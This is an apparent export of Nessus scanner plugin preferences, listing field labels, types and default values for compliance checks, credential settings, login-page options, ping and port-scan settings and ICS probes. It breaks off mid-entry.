+66963 +Good MDM Settings[entry]:Domain : +Domain : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Username : +Username : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[password]:Password : +Password : +password + + + +Good MDM Settings +66963 +Good MDM Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Good MDM Settings +66963 +Good MDM Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Hosts File Whitelisted Entries +73980 +Hosts File Whitelisted Entries[file]:Upload file with custom hosts entries : +Upload file with custom hosts entries : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[radio]:HP ProCurve File To Audit : +HP ProCurve File To Audit : +radio +Saved/(show config);Default/(show default-config);Running/(show running-config) +Saved/(show config) + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +HP ProCurve Compliance Checks +70271 +HP ProCurve Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +HTTP cookies import +42893 +HTTP cookies import[file]:Cookies file : +Cookies file : +file + + + +HTTP login page +11149 +HTTP login page[entry]:Login page : +Login page : +entry +/ +/ + +HTTP login page +11149 +HTTP login page[entry]:Login form : +Login form : +entry + + + +HTTP login page +11149 +HTTP login page[entry]:Login form fields : +Login form fields : +entry +user=%USER%&pass=%PASS% +user=%USER%&pass=%PASS% + +HTTP login page +11149 +HTTP login page[radio]:Login form method : +Login form method : +radio +POST;GET +POST + +HTTP login page +11149 +HTTP login page[checkbox]:Automated login page search +Automated login page search +checkbox +no +no + +HTTP login page +11149 +HTTP login page[entry]:Re-authenticate delay (seconds) : +Re-authenticate delay (seconds) : +entry + +0 + +HTTP login page +11149 +HTTP login page[entry]:Check authentication on page : +Check authentication on page : +entry + + + +HTTP login page +11149 +HTTP login page[entry]:Follow 30x redirections (# of levels) : +Follow 30x redirections (# of levels) : +entry +2 +0 + +HTTP login page +11149 +HTTP login page[entry]:Authenticated regex : +Authenticated regex : +entry + + + +HTTP login page +11149 +HTTP login page[checkbox]:Invert test (disconnected if regex matches) +Invert test (disconnected if regex matches) +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Match regex on HTTP headers +Match regex on HTTP headers +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Case insensitive regex +Case insensitive regex +checkbox +no +no + +HTTP login page +11149 +HTTP login page[checkbox]:Abort web application tests if login fails +Abort web application tests if login fails +checkbox +no +no + +Remote web server screenshot +59861 +Remote web server screenshot[checkbox]:Allow Nessus to connect to the cloud to take a screenshot of the public targets +Allow Nessus to connect to the cloud to take a screenshot of the public targets +checkbox +no +no + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Huawei VRP Compliance Checks +73157 +Huawei VRP Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Server : +Web Reports Server : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Port : +Web Reports Port : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[entry]:Web Reports Username : +Web Reports Username : +entry + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[password]:Web Reports Password : +Web Reports Password : +password + + + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:SSL +SSL +checkbox +no +no + +Patch Management: IBM Tivoli Endpoint Manager Server Settings +62558 +Patch Management: IBM Tivoli Endpoint Manager Server Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Active Outbound Connection to Host Listed in Known Bot Database +58430 +Active Outbound Connection to Host Listed in Known Bot Database[file]:Custom Netstat IP Threat List : +Custom Netstat IP Threat List : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +IBM iSeries Compliance Checks +57860 +IBM iSeries Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +IBM iSeries Credentials +57861 +IBM iSeries Credentials[entry]:Login : +Login : +entry + + + +IBM iSeries Credentials +57861 +IBM iSeries Credentials[password]:Password : +Password : +password + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Juniper Junos Compliance Checks +62680 +Juniper Junos Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos Key Distribution Center (KDC) : +Kerberos Key Distribution Center (KDC) : +entry + + + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos KDC Port : +Kerberos KDC Port : +entry +88 +88 + +Kerberos configuration +17351 +Kerberos configuration[radio]:Kerberos KDC Transport : +Kerberos KDC Transport : +radio +tcp +tcp + +Kerberos configuration +17351 +Kerberos configuration[entry]:Kerberos Realm (SSH only) : +Kerberos Realm (SSH only) : +entry + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[entry]:LDAP user : +LDAP user : +entry + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[password]:LDAP password : +LDAP password : +password + + + +LDAP 'Domain Admins' Group Membership Enumeration +58038 +LDAP 'Domain Admins' Group Membership Enumeration[entry]:Max results : +Max results : +entry +1000 +1000 + +Login configurations +10870 +Login configurations[entry]:HTTP account : +HTTP account : +entry + + + +Login configurations +10870 +Login configurations[password]:HTTP password (sent in clear) : +HTTP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:NNTP account : +NNTP account : +entry + + + +Login configurations +10870 +Login configurations[password]:NNTP password (sent in clear) : +NNTP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:FTP account : +FTP account : +entry +anonymous +anonymous + +Login configurations +10870 +Login configurations[password]:FTP password (sent in clear) : +FTP password (sent in clear) : +password +nessus@nessus.org +********* + +Login configurations +10870 +Login configurations[entry]:FTP writeable directory : +FTP writeable directory : +entry +/incoming +/incoming + +Login configurations +10870 +Login configurations[entry]:POP2 account : +POP2 account : +entry + + + +Login configurations +10870 +Login configurations[password]:POP2 password (sent in clear) : +POP2 password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:POP3 account : +POP3 account : +entry + + + +Login configurations +10870 +Login configurations[password]:POP3 password (sent in clear) : +POP3 password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:IMAP account : +IMAP account : +entry + + + +Login configurations +10870 +Login configurations[password]:IMAP password (sent in clear) : +IMAP password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:IPMI account : +IPMI account : +entry + + + +Login configurations +10870 +Login configurations[password]:IPMI password (sent in clear) : +IPMI password (sent in clear) : +password + + + +Login configurations +10870 +Login configurations[entry]:SMB account : +SMB account : +entry + + + +Login configurations +10870 +Login configurations[password]:SMB password : +SMB password : +password + + + +Login configurations +10870 +Login configurations[entry]:SMB domain (optional) : +SMB domain (optional) : +entry + + + +Login configurations +10870 +Login configurations[radio]:SMB password type : +SMB password type : +radio +Password;LM Hash;NTLM Hash +Password;LM Hash;NTLM Hash + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (1) : +Additional SMB account (1) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (1) : +Additional SMB password (1) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (1) : +Additional SMB domain (optional) (1) : +entry + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (2) : +Additional SMB account (2) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (2) : +Additional SMB password (2) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (2) : +Additional SMB domain (optional) (2) : +entry + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB account (3) : +Additional SMB account (3) : +entry + + + +Login configurations +10870 +Login configurations[password]:Additional SMB password (3) : +Additional SMB password (3) : +password + + + +Login configurations +10870 +Login configurations[entry]:Additional SMB domain (optional) (3) : +Additional SMB domain (optional) (3) : +entry + + + +Login configurations +10870 +Login configurations[checkbox]:Never send SMB credentials in clear text +Never send SMB credentials in clear text +checkbox +yes +yes + +Login configurations +10870 +Login configurations[checkbox]:Only use NTLMv2 +Only use NTLMv2 +checkbox +no +yes + +Login configurations +10870 +Login configurations[checkbox]:Only use Kerberos authentication for SMB +Only use Kerberos authentication for SMB +checkbox +no +no + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Username : +Username : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[password]:Password : +Password : +password + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Root URL : +Root URL : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Platform ID : +Platform ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:Billing ID : +Billing ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App ID : +App ID : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App version : +App version : +entry + + + +MaaS360 Settings +92000 +MaaS360 Settings[entry]:App access key : +App access key : +entry + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Mobile Device Manager Compliance Checks +81914 +Mobile Device Manager Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron VSP Admin Portal URL : +MobileIron VSP Admin Portal URL : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron port : +MobileIron port : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[entry]:MobileIron username : +MobileIron username : +entry + + + +MobileIron API Settings +72904 +MobileIron API Settings[password]:MobileIron password : +MobileIron password : +password + + + +MobileIron API Settings +72904 +MobileIron API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +MobileIron API Settings +72904 +MobileIron API Settings[checkbox]:Verify SSL certificate : +Verify SSL certificate : +checkbox +no +no + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +MongoDB Compliance Checks +76513 +MongoDB Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Username : +Username : +entry + + + +MongoDB Settings +76512 +MongoDB Settings[password]:Password : +Password : +password + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Database for authentication : +Database for authentication : +entry + + + +MongoDB Settings +76512 +MongoDB Settings[entry]:Port : +Port : +entry +27017 +27017 + +Nessus TCP scanner +10335 +Nessus TCP scanner[radio]:Firewall detection : +Firewall detection : +radio +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) + +Nessus SYN scanner +11219 +Nessus SYN scanner[radio]:Firewall detection : +Firewall detection : +radio +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) +Automatic (normal) + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +NetApp Data ONTAP Compliance Checks +66934 +NetApp Data ONTAP Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Oracle Settings +22076 +Oracle Settings[radio]:Oracle service type : +Oracle service type : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Oracle Settings +22076 +Oracle Settings[entry]:Oracle SID : +Oracle SID : +entry + + + +Oracle Settings +22076 +Oracle Settings[checkbox]:Test default accounts (slow) +Test default accounts (slow) +checkbox +no +no + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +OVAL Windows Compliance Checks +83189 +OVAL Windows Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +OVAL Linux Compliance Checks +83188 +OVAL Linux Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Palo Alto Networks PAN-OS Compliance Checks +64095 +Palo Alto Networks PAN-OS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Username : +Palo Alto Username : +entry + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[password]:Palo Alto Password : +Palo Alto Password : +password + + + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Port : +Palo Alto Port : +entry +443 +443 + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Palo Alto Networks PAN-OS Settings +64286 +Palo Alto Networks PAN-OS Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Patch Report +66334 +Patch Report[checkbox]:Display the superseded patches in the report +Display the superseded patches in the report +checkbox +yes +no + +PCI DSS compliance +33929 +PCI DSS compliance[checkbox]:Check for PCI-DSS compliance +Check for PCI-DSS compliance +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[entry]:TCP ping destination port(s) : +TCP ping destination port(s) : +entry +built-in +built-in + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an ARP ping +Do an ARP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do a TCP ping +Do a TCP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an ICMP ping +Do an ICMP ping +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[entry]:Number of retries (ICMP) : +Number of retries (ICMP) : +entry +2 +2 + +Ping the remote host +10180 +Ping the remote host[checkbox]:Do an applicative UDP ping (DNS,RPC...) +Do an applicative UDP ping (DNS,RPC...) +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Make the dead hosts appear in the report +Make the dead hosts appear in the report +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Log live hosts in the report +Log live hosts in the report +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Test the local Nessus host +Test the local Nessus host +checkbox +yes +yes + +Ping the remote host +10180 +Ping the remote host[checkbox]:Fast network discovery +Fast network discovery +checkbox +no +no + +Ping the remote host +10180 +Ping the remote host[checkbox]:Interpret ICMP unreach from gateway +Interpret ICMP unreach from gateway +checkbox +no +no + +Port scanners settings +33812 +Port scanners settings[checkbox]:Check open TCP ports found by local port enumerators +Check open TCP ports found by local port enumerators +checkbox +no +no + +Port scanners settings +33812 +Port scanners settings[checkbox]:Only run network port scanners if local port enumeration failed +Only run network port scanners if local port enumeration failed +checkbox +yes +yes + +RHEV Settings +77089 +RHEV Settings[entry]:Username : +Username : +entry + + + +RHEV Settings +77089 +RHEV Settings[password]:Password : +Password : +password + + + +RHEV Settings +77089 +RHEV Settings[entry]:Port : +Port : +entry +443 +443 + +RHEV Settings +77089 +RHEV Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +RHEV Compliance Checks +77090 +RHEV Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Salesforce.com Settings +76710 +Salesforce.com Settings[entry]:Username : +Username : +entry + + + +Salesforce.com Settings +76710 +Salesforce.com Settings[password]:Password : +Password : +password + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Server : +Satellite 6 Server : +entry + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Port : +Satellite 6 Port : +entry +443 +443 + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[checkbox]:Satellite 6 Use SSL : +Satellite 6 Use SSL : +checkbox +yes +yes + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[checkbox]:Satellite 6 Verify Certificate : +Satellite 6 Verify Certificate : +checkbox +yes +yes + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Username : +Satellite 6 Username : +entry + + + +Patch Management: Red Hat Satellite 6 Settings +84232 +Patch Management: Red Hat Satellite 6 Settings[password]:Satellite 6 Password : +Satellite 6 Password : +password + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite server(s) [separated w/ semicolons] : +Red Hat Satellite server(s) [separated w/ semicolons] : +entry + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite port(s) : +Red Hat Satellite port(s) : +entry +443 +443 + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[checkbox]:Verify SSL certificates : +Verify SSL certificates : +checkbox +no +no + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite username(s) : +Red Hat Satellite username(s) : +entry + + + +Patch Management: Red Hat Satellite Server Settings +84238 +Patch Management: Red Hat Satellite Server Settings[password]:Red Hat Satellite password(s) : +Red Hat Satellite password(s) : +password + + + +ICCP/COTP TSAP Addressing Weakness +23812 +ICCP/COTP TSAP Addressing Weakness[entry]:Start COTP TSAP : +Start COTP TSAP : +entry +8 +8 + +ICCP/COTP TSAP Addressing Weakness +23812 +ICCP/COTP TSAP Addressing Weakness[entry]:Stop COTP TSAP : +Stop COTP TSAP : +entry +8 +8 + +Modbus/TCP Coil Access +23817 +Modbus/TCP Coil Access[entry]:Start reg : +Start reg : +entry +0 +0 + +Modbus/TCP Coil Access +23817 +Modbus/TCP Coil Access[entry]:End reg : +End reg : +entry +16 +16 + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Salesforce.com Compliance Checks +76711 +Salesforce.com Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #1 : +SCAP File (zip) #1 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #1 : +SCAP Version #1 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #1 : +SCAP Data Stream ID (1.2 only) #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #1 : +SCAP Benchmark ID #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #1 : +SCAP Profile ID #1 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #1 : +OVAL Result Type #1 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #2 : +SCAP File (zip) #2 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #2 : +SCAP Version #2 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #2 : +SCAP Data Stream ID (1.2 only) #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #2 : +SCAP Benchmark ID #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #2 : +SCAP Profile ID #2 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #2 : +OVAL Result Type #2 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #3 : +SCAP File (zip) #3 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #3 : +SCAP Version #3 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #3 : +SCAP Data Stream ID (1.2 only) #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #3 : +SCAP Benchmark ID #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #3 : +SCAP Profile ID #3 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #3 : +OVAL Result Type #3 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #4 : +SCAP File (zip) #4 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #4 : +SCAP Version #4 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #4 : +SCAP Data Stream ID (1.2 only) #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #4 : +SCAP Benchmark ID #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #4 : +SCAP Profile ID #4 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #4 : +OVAL Result Type #4 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[file]:SCAP File (zip) #5 : +SCAP File (zip) #5 : +file + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:SCAP Version #5 : +SCAP Version #5 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #5 : +SCAP Data Stream ID (1.2 only) #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #5 : +SCAP Benchmark ID #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #5 : +SCAP Profile ID #5 : +entry + + + +SCAP Linux Compliance Checks +66757 +SCAP Linux Compliance Checks[radio]:OVAL Result Type #5 : +OVAL Result Type #5 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #1 : +SCAP File (zip) #1 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #1 : +SCAP Version #1 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #1 : +SCAP Data Stream ID (1.2 only) #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance 